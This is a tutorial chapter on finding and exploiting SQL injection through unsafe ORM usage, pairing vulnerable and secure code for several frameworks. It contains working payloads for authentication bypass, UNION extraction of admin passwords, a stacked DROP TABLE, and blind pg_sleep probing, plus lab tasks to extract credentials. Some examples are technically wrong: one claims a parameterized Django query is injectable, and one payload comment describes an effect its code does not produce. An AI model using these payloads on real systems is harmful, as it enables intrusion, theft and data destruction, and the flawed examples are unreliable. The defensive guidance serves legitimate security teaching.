Object-Relational Mapping (ORM) frameworks like Hibernate, Django ORM, and Sequelize are designed to prevent SQL injection. However, unsafe usage patterns can still create vulnerabilities. This guide covers how to identify and exploit ORM bypass techniques.
ORMs provide an abstraction layer between application code and databases. When used correctly, they automatically parameterize queries. However, developers often bypass ORM protections for "convenience," creating injection opportunities.
| Pattern | Risk Level | Description |
|---|---|---|
| String concatenation in raw SQL | Critical | Direct SQL building |
| Native query concatenation | Critical | Bypassing ORM entirely |
| Dynamic ORDER BY | High | Column name injection |
| .raw() / .native() methods | High | Direct SQL execution |
| .extra() / .sqlRestriction | High | ORM escape hatches |
Vulnerable:
// VULNERABLE
String hql = "FROM User WHERE username = '" + username + "'";
Query query = session.createQuery(hql);Secure:
// SECURE
String hql = "FROM User WHERE username = :username";
Query query = session.createQuery(hql);
query.setParameter("username", username);Vulnerable:
// VULNERABLE - Native SQL with concatenation
String sql = "SELECT * FROM users WHERE username = '" + username + "'";
Query query = session.createNativeQuery(sql);Secure:
// SECURE
String sql = "SELECT * FROM users WHERE username = :username";
Query query = session.createNativeQuery(sql);
query.setParameter("username", username);Dangerous:
// VULNERABLE - Using Restrictions.sqlRestriction
Criteria criteria = session.createCriteria(User.class);
criteria.add(Restrictions.sqlRestriction("username = '" + username + "'"));Safe:
// SECURE
Criteria criteria = session.createCriteria(User.class);
criteria.add(Restrictions.eq("username", username));Vulnerable:
# VULNERABLE
from django.db import connection
def get_user(username):
with connection.cursor() as cursor:
cursor.execute(f"SELECT * FROM users WHERE username = '{username}'")
return cursor.fetchone()Secure:
# SECURE
from django.db import connection
def get_user(username):
with connection.cursor() as cursor:
cursor.execute("SELECT * FROM users WHERE username = %s", [username])
return cursor.fetchone()Vulnerable:
# VULNERABLE - extra() with where parameter
User.objects.extra(where=[f"username = '{username}'"])Safe:
# SECURE - Use normal ORM methods
User.objects.filter(username=username)Vulnerable:
# VULNERABLE
User.objects.raw(f"SELECT * FROM users WHERE username = '{username}'")Secure:
# SECURE
User.objects.raw("SELECT * FROM users WHERE username = %s", [username])Vulnerable:
// VULNERABLE
const users = await sequelize.query(`SELECT * FROM users WHERE username = '${username}'`, {
type: QueryTypes.SELECT
})Secure:
// SECURE
const users = await sequelize.query('SELECT * FROM users WHERE username = ?', {
replacements: [username],
type: QueryTypes.SELECT
})Vulnerable:
// VULNERABLE
User.findAll({
where: sequelize.literal(`username = '${username}'`)
})Safe:
// SECURE
User.findAll({
where: { username: username }
})Vulnerable:
// VULNERABLE - User-controlled order
User.findAll({
order: [[req.query.sortColumn, req.query.sortDirection]]
})Attack:
GET /users?sortColumn=(SELECT pg_sleep(5))&sortDirection=ASC
Result:
ORDER BY (SELECT pg_sleep(5)) ASCSafe:
// SECURE - Whitelist allowed columns
const ALLOWED_COLUMNS = ['name', 'email', 'created_at']
const column = ALLOWED_COLUMNS.includes(req.query.sortColumn) ? req.query.sortColumn : 'id'
User.findAll({
order: [[column, 'ASC']]
})Vulnerable:
// VULNERABLE
var users = context.Users
.FromSqlRaw($"SELECT * FROM Users WHERE Username = '{username}'")
.ToList();Secure:
// SECURE
var users = context.Users
.FromSqlRaw("SELECT * FROM Users WHERE Username = {0}", username)
.ToList();Secure by design:
// SECURE - Interpolated strings are parameterized
var users = context.Users
.FromSqlInterpolated($"SELECT * FROM Users WHERE Username = {username}")
.ToList();Vulnerable:
// VULNERABLE
context.Database.ExecuteSqlRaw($"UPDATE Users SET Name = '{name}' WHERE Id = {id}");Secure:
// SECURE
context.Database.ExecuteSqlRaw(
"UPDATE Users SET Name = {0} WHERE Id = {1}",
name, id
);- Search for string concatenation in ORM queries
- Check usage of .raw(), .native(), .extra() methods
- Review native SQL implementations
- Verify all user inputs use parameterized queries
- Check for SQL literals in ORM methods
- Review stored procedure calls with dynamic parameters
- Examine ORDER BY and GROUP BY clauses
- Check for HQL/SQL concatenation in criteria builders
Regex Patterns to Detect Vulnerabilities:
orm_dangerous_patterns = [
r'createQuery\s*\(\s*["\'].*\{.*?\}', # HQL concatenation
r'execute\s*\(\s*["\'].*\$\{', # Raw SQL with variables
r'\.extra\s*\(\s*where.*=.*\$', # Django .extra()
r'query\s*\(\s*[`"].*\$\{', # Sequelize concatenation
r'FromSqlRaw.*\$".*\{', # EF Core raw SQL
r'sqlRestriction.*\'.*\+', # Hibernate criteria
r'\.raw\s*\(\s*["\'].*\+', # Raw SQL building
r'ORDER\s+BY.*\$\{', # Dynamic ORDER BY
]Input:
admin' OR '1'='1
Result:
FROM User WHERE username = 'admin' OR '1'='1'Impact: Bypasses authentication
Payload:
username = "admin'--"Query:
SELECT * FROM users WHERE username = 'admin'--'Result: Comments out remaining query conditions
Attack:
GET /api/users?order=(SELECT pg_sleep(5))
Code:
User.findAll({
order: [['name', req.query.order]]
})Result:
ORDER BY name (SELECT pg_sleep(5))Time-Based Detection:
- 5 second delay = injection confirmed
- No delay = not vulnerable or condition false
Vulnerable:
// Custom filter building
var query = $"SELECT * FROM Products WHERE Name LIKE '%{search}%'";
var products = context.Products.FromSqlRaw(query).ToList();Attack:
GET /api/products?search=' OR 1=1--
Result:
SELECT * FROM Products WHERE Name LIKE '%' OR 1=1--%'Django:
# Payload: " UNION SELECT username,password FROM admin--"
User.objects.raw("SELECT * FROM users WHERE name = %s", [payload])Result:
SELECT * FROM users WHERE name = ''
UNION SELECT username,password FROM admin--'Hibernate:
// Payload: "; DROP TABLE logs;--
String sql = "SELECT * FROM users WHERE id = '" + id + "'";Result:
SELECT * FROM users WHERE id = ''; DROP TABLE logs;--'Sequelize:
// Payload: IIF((SELECT password FROM admin)='secret', 1, 1/0)
// Causes division by zero if password doesn't match
User.findAll({
order: [['id', "IIF((SELECT password FROM admin)='secret', 'ASC', 'ASC')"]]
})Good:
# ORM handles safety
User.objects.filter(username=username)Avoid:
# Unless absolutely necessary
User.objects.raw('SELECT * FROM users WHERE username = %s', [username])import re
def validate_username(username):
if not re.match(r'^[a-zA-Z0-9_]+$', username):
raise ValueError("Invalid username format")
return username
# Use validated input
User.objects.filter(username=validate_username(username))// Whitelist allowed ORDER BY columns
const ALLOWED_COLUMNS = ['name', 'email', 'created_at']
function getOrderColumn(requestedColumn) {
return ALLOWED_COLUMNS.includes(requestedColumn) ? requestedColumn : 'id' // Default safe column
}
User.findAll({
order: [[getOrderColumn(req.query.sort), 'ASC']]
})// Knex.js - Query builder
knex('users').where('username', username)
// Automatically parameterizeddef review_orm_usage(code):
dangerous_patterns = [
r'\.raw\s*\(',
r'\.native\s*\(',
r'\.extra\s*\(',
r'execute\s*\(\s*f["\']',
r'FromSqlRaw',
]
issues = []
for pattern in dangerous_patterns:
if re.search(pattern, code):
issues.append(f"Potential ORM bypass: {pattern}")
return issuesSetup:
- Java application using Hibernate
- User lookup with HQL concatenation
Task:
- Find HQL injection point
- Bypass authentication
- Extract admin credentials
Payload:
Username: admin' OR '1'='1
Setup:
- Django application using .extra()
- Custom WHERE clause building
Task:
- Inject into .extra() where parameter
- Union with admin table
- Extract sensitive data
Payload:
where=["name = '' UNION SELECT * FROM admin--"]Setup:
- Node.js application using Sequelize
- Dynamic ORDER BY from query parameter
Task:
- Inject time-based payload into ORDER BY
- Confirm blind injection
- Extract data character by character
Payload:
GET /api/users?order=(SELECT pg_sleep(5))
- ORMs are safe when used correctly - Raw SQL bypasses protections
- String concatenation is the enemy - Always use parameters
- Dynamic ORDER BY is dangerous - Whitelist allowed columns
- Native queries require scrutiny - Extra() and raw() are risky
- Input validation before ORM - Defense in depth
Continue to 19 - Polyglot Payloads for multi-database attack techniques.